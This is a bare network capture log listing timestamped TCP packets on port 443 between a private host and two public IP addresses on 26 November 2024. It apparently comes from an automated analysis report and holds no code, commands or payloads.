Nov 26, 2024 13:44:16.554480076 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.560960054 CET	443	49876	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.566453934 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.566946983 CET	49873	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.566968918 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.567435026 CET	49873	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.567440033 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.571636915 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.572041988 CET	49875	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.572062016 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.572436094 CET	49875	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.572441101 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.599328995 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.600665092 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.616281986 CET	49876	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.616308928 CET	443	49876	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.616950989 CET	49876	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.617046118 CET	443	49876	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.617096901 CET	49876	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.633661032 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.633690119 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.633748055 CET	49870	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.633759022 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.633773088 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.633826017 CET	49870	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.634037971 CET	49870	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.634052992 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.634063959 CET	49870	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.634068966 CET	443	49870	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.637316942 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.637346029 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.637495041 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.637682915 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.637698889 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.757015944 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.757388115 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.757417917 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.758972883 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.759077072 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.759522915 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.759607077 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.759784937 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.759793043 CET	443	49879	52.1.52.84	192.168.2.7
Nov 26, 2024 13:44:16.803765059 CET	49879	443	192.168.2.7	52.1.52.84
Nov 26, 2024 13:44:16.915635109 CET	443	49874	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.915807009 CET	443	49874	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.915874004 CET	49874	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.916281939 CET	49874	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.916281939 CET	49874	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.916315079 CET	443	49874	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.916332006 CET	443	49874	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.920619011 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.920669079 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:16.920990944 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.921241999 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:16.921260118 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.019012928 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.022084951 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.025042057 CET	49873	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.026765108 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.029660940 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.030458927 CET	49875	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.034915924 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.034945965 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.034955025 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.035002947 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.035038948 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.035048962 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.035064936 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.035089016 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.035121918 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.043008089 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.043083906 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.043152094 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.056694984 CET	49873	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.056718111 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.056729078 CET	49873	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.056735039 CET	443	49873	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.059065104 CET	49875	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.059070110 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.059093952 CET	49875	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.059098005 CET	443	49875	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.063884974 CET	49877	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.063915014 CET	443	49877	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.065918922 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.065952063 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.066035032 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.066239119 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.066252947 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.067492962 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.067534924 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.067625999 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.067805052 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.067820072 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.288022995 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.293122053 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.293142080 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.294245005 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.294310093 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.294766903 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.294827938 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.295694113 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.295706034 CET	443	49880	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.335439920 CET	49880	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.394305944 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.394875050 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.394913912 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.395306110 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.396281958 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.396362066 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.396675110 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.397723913 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.398304939 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.398314953 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.399393082 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.399491072 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.400685072 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.400757074 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.400857925 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.443336010 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.443337917 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.444428921 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.444438934 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.491303921 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.621720076 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.622518063 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.622544050 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.622888088 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.622900963 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.889986038 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.890012980 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.890029907 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.890064001 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.890086889 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.890117884 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.890131950 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.902093887 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902118921 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902126074 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902153969 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902164936 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902173042 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902182102 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:17.902190924 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:17.902239084 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.071384907 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.074146986 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.074198008 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.074253082 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.074253082 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.074318886 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.074318886 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.074337959 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.074350119 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.077171087 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.077207088 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.077323914 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.077522993 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.077536106 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.092000961 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.092020988 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.092065096 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.092080116 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.092113018 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.097074986 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.097089052 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.097110987 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.097134113 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.097147942 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.097183943 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.132967949 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.133042097 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.133074045 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.133096933 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.133128881 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.133145094 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.148535967 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.148562908 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.148608923 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.148624897 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.148674011 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.275561094 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.275590897 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.275662899 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.275698900 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.275805950 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.291651964 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.291687965 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.291733027 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.291748047 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.291788101 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.291807890 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.304972887 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.305006027 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.305066109 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.305107117 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.305121899 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.305155039 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.320990086 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.321011066 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.321069002 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.321079969 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.321137905 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.326044083 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.326075077 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.326117039 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.326160908 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.326176882 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.326225042 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.341660976 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.341679096 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.341737986 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.341748953 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.341789007 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.343436956 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.343465090 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.343501091 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.343539000 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.343554020 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.343575001 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.354562998 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.355158091 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.355166912 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.355678082 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.355683088 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.358284950 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.358345985 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.358427048 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.358489990 CET	49878	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.358508110 CET	443	49878	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.362112999 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.362131119 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.362185955 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.362194061 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.362238884 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.365057945 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.365123987 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.365128994 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.365149021 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.365300894 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.365411043 CET	49881	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.365418911 CET	443	49881	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.370872021 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.370899916 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.370974064 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.371529102 CET	49888	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.371541023 CET	443	49888	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.425560951 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.425596952 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.425662041 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.425892115 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.425901890 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.426578045 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.426605940 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.426726103 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.427084923 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.427098989 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.523463011 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.523988962 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.523998976 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.524440050 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.524444103 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.850847960 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.851891994 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.851911068 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.852442980 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.852449894 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.892462969 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.892543077 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.892599106 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.892879009 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.892891884 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.892901897 CET	49883	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.892906904 CET	443	49883	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.896791935 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.896821022 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.896965981 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.897052050 CET	49891	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.897061110 CET	443	49891	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.900926113 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.901335955 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.901381969 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.901823997 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.901833057 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.968206882 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.968245983 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.968300104 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.968298912 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.968342066 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.968590021 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.968615055 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.968636036 CET	49884	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.968641996 CET	443	49884	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.971648932 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.971705914 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:18.971770048 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.971956015 CET	49892	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:18.971970081 CET	443	49892	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.287580013 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.287668943 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.287739992 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.288573980 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.288598061 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.291688919 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.291740894 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.291814089 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.292011023 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.292026997 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.345690012 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.348786116 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.348877907 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.349076986 CET	49886	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.349096060 CET	443	49886	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.352262020 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.352308035 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.352374077 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.352556944 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.352572918 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.915136099 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.915715933 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.915729046 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:19.916347027 CET	49887	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:19.916352034 CET	443	49887	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.180134058 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.180461884 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.180478096 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.180840969 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.181195021 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.181273937 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.181438923 CET	49890	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.223331928 CET	443	49890	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.235240936 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.235724926 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.235747099 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.236185074 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.236574888 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.236676931 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.236741066 CET	49889	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:44:20.283333063 CET	443	49889	13.107.246.63	192.168.2.7
Nov 26, 2024 13:44:20.284161091 CET	443	49888	13.107.246.63	192.168.2.7
